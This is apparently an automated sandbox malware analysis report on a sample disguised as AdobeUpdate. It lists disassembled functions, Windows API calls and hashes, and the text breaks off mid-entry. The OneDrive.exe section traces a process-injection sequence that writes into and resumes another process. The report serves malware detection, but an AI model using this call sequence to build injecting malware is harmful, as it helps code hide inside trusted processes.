Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: Locinfo@std@@$??0_??1_Lockit@std@@$??0facet@locale@std@@Bid@locale@std@@Collvec@@Facet_Getcoll@_Getgloballocale@locale@std@@Locimp@12@Register_invalid_parameter_noinfo_noreturnstd::_
String ID:
API String ID: 1009702548-0
Opcode ID: 8e30e28fb1fac57f1a0170126ba30d028ebb790b07cd25a607e1e29078725d41
Instruction ID: 1f62d5007902733b2b4ae836ed4b16398acde962ed2a13eac7ff34b7abb979e4
Opcode Fuzzy Hash: 8e30e28fb1fac57f1a0170126ba30d028ebb790b07cd25a607e1e29078725d41
Instruction Fuzzy Hash: D9219B2A608A8285EF159F11E654179A791EF84FA2F1C0131DE9D873E5DE3CE4C5C300

Function 00007FF6C12AE098 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__current_exception.VCRUNTIME140 ref: 00007FF6C12AE0CD
__current_exception_context.VCRUNTIME140 ref: 00007FF6C12AE0E1
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12AE0E9

Strings

csm, xrefs: 00007FF6C12AE0B9

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: __current_exception__current_exception_contextterminate
String ID: csm
API String ID: 2542180945-1018135373
Opcode ID: 4c4bbd4a42ae7351677d875046182b1a39caa59085d51b43aab2762be9c7daf4
Instruction ID: 346025f50a1c338963cf6e9efdd323d9e6942a989eeeeddc7b7898f71afd344b
Opcode Fuzzy Hash: 4c4bbd4a42ae7351677d875046182b1a39caa59085d51b43aab2762be9c7daf4
Instruction Fuzzy Hash: 38F0F43B609B45CAC714AF22E8900AC3364F788B89B496130FA8D87756CF38D8918700

Function 00007FF6C12AA56C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

?_Xlength_error@std@@YAXPEBD@Z.MSVCP140(?,?,?,?,00007FF6C12AA4CB,?,?,?,00007FF6C12AAE85), ref: 00007FF6C12AA577
?_Xlength_error@std@@YAXPEBD@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6C12AAE85), ref: 00007FF6C12AA58B

Strings

vector<bool> too long, xrefs: 00007FF6C12AA570
string too long, xrefs: 00007FF6C12AA584

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: Xlength_error@std@@
String ID: string too long$vector<bool> too long
API String ID: 1004598685-1183328865
Opcode ID: 99b7cb9ba424e8a71ac46053b43b1e13783d236c9af943f7262ad633b9f0ead6
Instruction ID: dd9e4ebc2feb80d01e62b6cd6ffe4aa54800f80d2feb91458591ce3689501727
Opcode Fuzzy Hash: 99b7cb9ba424e8a71ac46053b43b1e13783d236c9af943f7262ad633b9f0ead6
Instruction Fuzzy Hash: 82C0120CD1A40FD1E33CAFA0D9450680320EB14302F600C31C38D8BC614D3C70E24702

Function 00007FF6C12A9638 Relevance: 6.4, APIs: 4, Instructions: 351COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,00000000), ref: 00007FF6C12A9B4E
?_Xregex_error@std@@YAXW4error_type@regex_constants@1@@Z.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 00007FF6C12A9B5A
?_Xregex_error@std@@YAXW4error_type@regex_constants@1@@Z.MSVCP140(?,?,?,?,?,?,?,?,00000000,?,00000000,00007FF6C12A3114,?,?,00000000,00007FF6C12A4001), ref: 00007FF6C12A9B65
?_Xregex_error@std@@YAXW4error_type@regex_constants@1@@Z.MSVCP140(?,?,?,?,?,?,?,?,00000000,?,00000000,00007FF6C12A3114,?,?,00000000,00007FF6C12A4001), ref: 00007FF6C12A9B70

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: W4error_type@regex_constants@1@@Xregex_error@std@@$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 853480605-0
Opcode ID: bee4f38196beb3b8a7a72e55541a746e88538d4e3c55e90de900931ecddeb9c7
Instruction ID: d26d5aa72e932d82d066b9385fdb53da19ab376f06a5ff26a18669582ad31b17
Opcode Fuzzy Hash: bee4f38196beb3b8a7a72e55541a746e88538d4e3c55e90de900931ecddeb9c7
Instruction Fuzzy Hash: 45E18C7AA0864286EF688E2BC69477C37A1FB45B81F144136CB9D87795DF3DE4A0E300

Function 00007FF6C12A7D9C Relevance: 6.3, APIs: 4, Instructions: 297COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FF6C12A7CE8), ref: 00007FF6C12A7FC8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6C12A7CE8), ref: 00007FF6C12A80C4
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C12A8003

Part of subcall function 00007FF6C12ACC88: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6C12A8F80), ref: 00007FF6C12ACCA2

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C12A80FF

Part of subcall function 00007FF6C12ACC88: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C12ACCBE

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: Concurrency::cancel_current_task$_invalid_parameter_noinfo_noreturn$malloc
String ID:
API String ID: 961033532-0
Opcode ID: 5a3981d2286dfb97adab2a8487f28cd1e0e5411dfcf1711b72f4f8558bf23c51
Instruction ID: db7fc75a843001afb32310c20094e24fda42e867a8cd6a6aa2061c3d0da0b8e9
Opcode Fuzzy Hash: 5a3981d2286dfb97adab2a8487f28cd1e0e5411dfcf1711b72f4f8558bf23c51
Instruction Fuzzy Hash: B8B1A22AB0868286EB149F25A7542BD6361EF44BC2F584431EBDD87B96CF3DE4E1C304

Function 00007FF6C12AB1FC Relevance: 6.1, APIs: 4, Instructions: 126COMMON

Download Yara Rule

APIs

?_Pninc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAPEADXZ.MSVCP140 ref: 00007FF6C12AB24E

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: D@std@@@std@@Pninc@?$basic_streambuf@U?$char_traits@
String ID:
API String ID: 3551493264-0
Opcode ID: 72b3cd7a3345ff34c930a9702fafe002aedeed9dbe8e7e9e2d77e1d6d080af4d
Instruction ID: ee00391910dcb4bd3aa1627b4d23a042c44dd91c58a7be82ba78c142dfbef7e1
Opcode Fuzzy Hash: 72b3cd7a3345ff34c930a9702fafe002aedeed9dbe8e7e9e2d77e1d6d080af4d
Instruction Fuzzy Hash: FA517B3AB08B4185EB15CF2AD66036C6761FB49F95F444532CE9E977A9DE3CD882C300

Function 00007FF6C12A4A30 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

APIs

?tolower@?$ctype@D@std@@QEBAPEBDPEADPEBD@Z.MSVCP140 ref: 00007FF6C12A4ACD
memmove.VCRUNTIME140 ref: 00007FF6C12A4B43
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12A4B87
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12A4BBD

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$?tolower@?$ctype@D@std@@memmove
String ID:
API String ID: 1594617108-0
Opcode ID: dbabbb78ba67c4d8a946ca0e21ab842105879f4c107f55675a75131463aa0b99
Instruction ID: f9fcf1d6227c40437aef2fcb72f94fca4c4a5307bc93dec1e315cca78e84145b
Opcode Fuzzy Hash: dbabbb78ba67c4d8a946ca0e21ab842105879f4c107f55675a75131463aa0b99
Instruction Fuzzy Hash: 77517DA6F14A9589FB00CFA5D5843AC2761AB04BA9F144635CE9C57BC9EF7CD1C68340

Function 00007FF6C12A6B24 Relevance: 6.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C12A4A30: ?tolower@?$ctype@D@std@@QEBAPEBDPEADPEBD@Z.MSVCP140 ref: 00007FF6C12A4ACD
Part of subcall function 00007FF6C12A4A30: memmove.VCRUNTIME140 ref: 00007FF6C12A4B43
Part of subcall function 00007FF6C12A4A30: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12A4B87

Part of subcall function 00007FF6C12A4A30: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12A4BBD

memcmp.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,00000001,?,000000FF,?,00000000,00007FF6C12A86D7), ref: 00007FF6C12A6BA6
memset.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,00000001,?,000000FF,?,00000000,00007FF6C12A86D7), ref: 00007FF6C12A6C21
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000001,?,000000FF,?,00000000,00007FF6C12A86D7), ref: 00007FF6C12A6C84
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000001,?,000000FF,?,00000000,00007FF6C12A86D7), ref: 00007FF6C12A6C8B

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$?tolower@?$ctype@D@std@@memcmpmemmovememset
String ID:
API String ID: 3989215635-0
Opcode ID: 3c9eb38ab5c6b93aa1fe3ccc97c34aa897d6be996ee0578d3a895c0be7e936d7
Instruction ID: b2ac813f2bdaf8b08611ad181bdc27eade0e3b198b9b10622d94f6a38d73645e
Opcode Fuzzy Hash: 3c9eb38ab5c6b93aa1fe3ccc97c34aa897d6be996ee0578d3a895c0be7e936d7
Instruction Fuzzy Hash: 8E41BD6AB08A5184FF14DFA5D5547AC2362EB48BA9F444632DE9D977C9DF3CE4C28300

Function 00007FF6C12A3620 Relevance: 6.1, APIs: 4, Instructions: 100COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF6C12A36FF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6C12A3742
memmove.VCRUNTIME140 ref: 00007FF6C12A374C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C12A377F

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2016347663-0
Opcode ID: c3c948dbb578ae6a538e68a4d0a20b52b8a687722b8855c772a045323c7bbc69
Instruction ID: 82dfcadb85355b295d8ce6262d15af5c817b3c49667c3efa6bb4b574ec5ac7bd
Opcode Fuzzy Hash: c3c948dbb578ae6a538e68a4d0a20b52b8a687722b8855c772a045323c7bbc69
Instruction Fuzzy Hash: 1631F169B0864585EB04DF12AB0427DA355EB04FE1F548631DEAD87BE5DE7CE0D28308

Function 00007FF6C12A58DC Relevance: 5.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,00007FF6C12A40A7), ref: 00007FF6C12A5913
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,00007FF6C12A40A7), ref: 00007FF6C12A5947
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,00007FF6C12A40A7), ref: 00007FF6C12A5964
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,00007FF6C12A40A7), ref: 00007FF6C12A5986

Memory Dump Source

Source File: 00000001.00000002.1694273935.00007FF6C12A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C12A0000, based on PE: true

Associated: 00000001.00000002.1694220296.00007FF6C12A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694312718.00007FF6C12AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694483866.00007FF6C12B4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1694847088.00007FF6C12B5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6c12a0000_AdobeUpdate.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 38aaa1debd1dd55f83f0411f5cd8ce79a3f98df747aae173c4bac2d37a15f5f7
Instruction ID: bdb188e71124611d21e067a4cabf736f05852f137783223834b2dfa7493d3192
Opcode Fuzzy Hash: 38aaa1debd1dd55f83f0411f5cd8ce79a3f98df747aae173c4bac2d37a15f5f7
Instruction Fuzzy Hash: BC21E12AA08B9286EB54DF12E64017D6364EB45FD1F085471DE8E9BB55CE3CE4A18340

Analysis Process: build.exePID: 6332, Parent PID: 6256COMMON

Execution Graph

Execution Coverage:	13.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	16
Total number of Limit Nodes:	0

Executed Functions

Function 00E40CE0 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 00E40D47

Memory Dump Source

Source File: 00000004.00000002.2932075239.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e40000_build.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 5fae400695a894d5be6907b0db2cb768b24f4b6e8a8cee0807a3b297f921cae2
Instruction ID: 318a0e58914b9d9811aa883706edda7fcedb7b65ae2d1a7ac2c85bb13564e908
Opcode Fuzzy Hash: 5fae400695a894d5be6907b0db2cb768b24f4b6e8a8cee0807a3b297f921cae2
Instruction Fuzzy Hash: 691113B5D042498FCB20DFAAD4457DEFFF0AB88324F24842AC459B7250C779A545CFA5

Function 00E40CE8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 00E40D47

Memory Dump Source

Source File: 00000004.00000002.2932075239.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e40000_build.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: d1e45763f8d9f821e5995fe21feb8930cc607e8601415d1da8b6de87590ecd28
Instruction ID: 14caa3527adf5236081c23bda005dcf4c789b8486ed6593a56c308e0bf6e21fc
Opcode Fuzzy Hash: d1e45763f8d9f821e5995fe21feb8930cc607e8601415d1da8b6de87590ecd28
Instruction Fuzzy Hash: CA1106B5D002498FCB24DFAAD4457DEFBF4AB88324F208429C559A7250C779A544CFA5

Analysis Process: OneDrive.exePID: 6972, Parent PID: 6256COMMON

Execution Graph

Execution Coverage:	26.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	51
Total number of Limit Nodes:	2

Executed Functions

Function 01693428 Relevance: 3.4, APIs: 2, Instructions: 378
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01692128: CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 01693AF4

Part of subcall function 01692134: Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,0169356C), ref: 01693C53

Part of subcall function 01692140: ReadProcessMemory.KERNELBASE(?,?,?,?,00010002,?,?,?,?,?,?,016935AA,?,00000004,?), ref: 01693D11

VirtualAllocEx.KERNELBASE(?,?,00000000,00003000,00000040), ref: 0169366F
ResumeThread.KERNELBASE(?), ref: 01693784

Memory Dump Source

Source File: 00000007.00000002.1717498322.0000000001690000.00000040.00000800.00020000.00000000.sdmp, Offset: 01690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1690000_OneDrive.jbxd

Similarity

API ID: ProcessThread$AllocContextCreateMemoryReadResumeVirtualWow64
String ID:
API String ID: 2498194165-0
Opcode ID: 47835dc5c53b4db14053193dd6486b112ddbd2bcb864e628b90846d066b86940
Instruction ID: 07679c6259781e6353bd80a6486c784908b4340674f61e75d586808fef87ff73
Opcode Fuzzy Hash: 47835dc5c53b4db14053193dd6486b112ddbd2bcb864e628b90846d066b86940
Instruction Fuzzy Hash: 63E18C70E002199BDF14DFB9C850BAEBBB6BF88204F208569D409AB395DF349D85CB95

Function 01693420 Relevance: 3.3, APIs: 2, Instructions: 272
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01692140: ReadProcessMemory.KERNELBASE(?,?,?,?,00010002,?,?,?,?,?,?,016935AA,?,00000004,?), ref: 01693D11

VirtualAllocEx.KERNELBASE(?,?,00000000,00003000,00000040), ref: 0169366F
ResumeThread.KERNELBASE(?), ref: 01693784

Memory Dump Source

Source File: 00000007.00000002.1717498322.0000000001690000.00000040.00000800.00020000.00000000.sdmp, Offset: 01690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1690000_OneDrive.jbxd

Similarity

API ID: AllocMemoryProcessReadResumeThreadVirtual
String ID:
API String ID: 137364078-0
Opcode ID: c5b5945122be05636230aafa3c69a24ecb6234d33ce256b0efb89678868abfc5
Instruction ID: 1b40dd737ede01fc083e8d7311aef4eeb706b118fd5600e6e13524f22679141b
Opcode Fuzzy Hash: c5b5945122be05636230aafa3c69a24ecb6234d33ce256b0efb89678868abfc5
Instruction Fuzzy Hash: 16B15A70E002199FDF24CFA9CD84B9DBBBABF88304F1481A9D519AB395DB349985CF50

Function 01692128 Relevance: 1.6, APIs: 1, Instructions: 140
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 01693AF4

Memory Dump Source

Source File: 00000007.00000002.1717498322.0000000001690000.00000040.00000800.00020000.00000000.sdmp, Offset: 01690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1690000_OneDrive.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 2ce760ad616bf3f4086cad40ae6bbd1e165fb5b4457f0fdd42fdea630fd8c37a
Instruction ID: fd834793ebf1e5dcbe2d9df4b7bb1f0e3febee5d40b9f3f08d4cf03b34192e6c
Opcode Fuzzy Hash: 2ce760ad616bf3f4086cad40ae6bbd1e165fb5b4457f0fdd42fdea630fd8c37a
Instruction Fuzzy Hash: 09510671901319DFDF24CFA9C984BDEBBB5BF49310F14809AE908A7250D7759A84CF51

Function 016939B6 Relevance: 1.6, APIs: 1, Instructions: 137
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 01693AF4

Memory Dump Source

Source File: 00000007.00000002.1717498322.0000000001690000.00000040.00000800.00020000.00000000.sdmp, Offset: 01690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1690000_OneDrive.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a023f06a4e3b86af50c3c67f2e39b35cf81a2b7593966b84cad988304012bed1
Instruction ID: f822d15a31c1c97d3ca9dfdb1c584572cbc41a7b13b462f40b91cb6699c07409
Opcode Fuzzy Hash: a023f06a4e3b86af50c3c67f2e39b35cf81a2b7593966b84cad988304012bed1
Instruction Fuzzy Hash: CE511571901229DFDF24CFA9C980BDEBBB6BF49314F14809AE908AB250D7759A84CF51

Function 0169214C Relevance: 1.6, APIs: 1, Instructions: 63
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?,?,?,?,00000000,00000000,?,0169394D,?,?,00000000), ref: 01693DDC

Memory Dump Source

Source File: 00000007.00000002.1717498322.0000000001690000.00000040.00000800.00020000.00000000.sdmp, Offset: 01690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1690000_OneDrive.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 2ff7913f74a05c4b8364f899c7b473c649971d9d4abfe4a04f6fe02ba01a8f67
Instruction ID: cc2a19ead0e1fce544e79560c83a86de4f4c992ceb67fd6858735fbed7347aed
Opcode Fuzzy Hash: 2ff7913f74a05c4b8364f899c7b473c649971d9d4abfe4a04f6fe02ba01a8f67
Instruction Fuzzy Hash: 8F21D5B59003199FDB10CFAAD885BDEBBF8FB48310F50842AE558A7350D378A944CFA5

Function 01693D58 Relevance: 1.6, APIs: 1, Instructions: 62
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?,?,?,?,00000000,00000000,?,0169394D,?,?,00000000), ref: 01693DDC

Memory Dump Source

Source File: 00000007.00000002.1717498322.0000000001690000.00000040.00000800.00020000.00000000.sdmp, Offset: 01690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1690000_OneDrive.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f182ff56e2efa77e228c4b643ba7a6e0499e194698d6339bf387d70b42ae79bb
Instruction ID: 2de1fcb32523e78a8ef329f6be89f4459bc691643f049a737c51dbab4bb56d57
Opcode Fuzzy Hash: f182ff56e2efa77e228c4b643ba7a6e0499e194698d6339bf387d70b42ae79bb
Instruction Fuzzy Hash: 6E21D5B59002599FDB10CFAAD885BDEBBF8FB48324F10842AE558A7350D3789944CFA5

Function 01692140 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,00010002,?,?,?,?,?,?,016935AA,?,00000004,?), ref: 01693D11

Memory Dump Source

Source File: 00000007.00000002.1717498322.0000000001690000.00000040.00000800.00020000.00000000.sdmp, Offset: 01690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1690000_OneDrive.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 13c7974a16037246ed30e53c83f9e525008e94a82aea505b77d5011fb3c285dd
Instruction ID: 4c303d86ad7de642353425793c16ad62d11c9bb520684d3888bead950368b193
Opcode Fuzzy Hash: 13c7974a16037246ed30e53c83f9e525008e94a82aea505b77d5011fb3c285dd
Instruction Fuzzy Hash: 4921E2B5800259DFDB10CF9AD984ADEBBF8FB48320F50842AE958A7211C374A944CFA5

Function 01692158 Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,0169356C), ref: 01693C53

Memory Dump Source

Source File: 00000007.00000002.1717498322.0000000001690000.00000040.00000800.00020000.00000000.sdmp, Offset: 01690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1690000_OneDrive.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 7d09ca5499a0cdc62243e1e0e03d5ddfeaa1d02e124c6a936eecc70d5f11469f
Instruction ID: 411bab642d95977d99daabecaa664fee964874898a5709809c316da45f60c79e
Opcode Fuzzy Hash: 7d09ca5499a0cdc62243e1e0e03d5ddfeaa1d02e124c6a936eecc70d5f11469f
Instruction Fuzzy Hash: 0A1117B1D006499FDB10CFAAC844BDEBBF8FB88220F148029D558A7310D778A545CFA5

Function 01692134 Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,0169356C), ref: 01693C53

Memory Dump Source

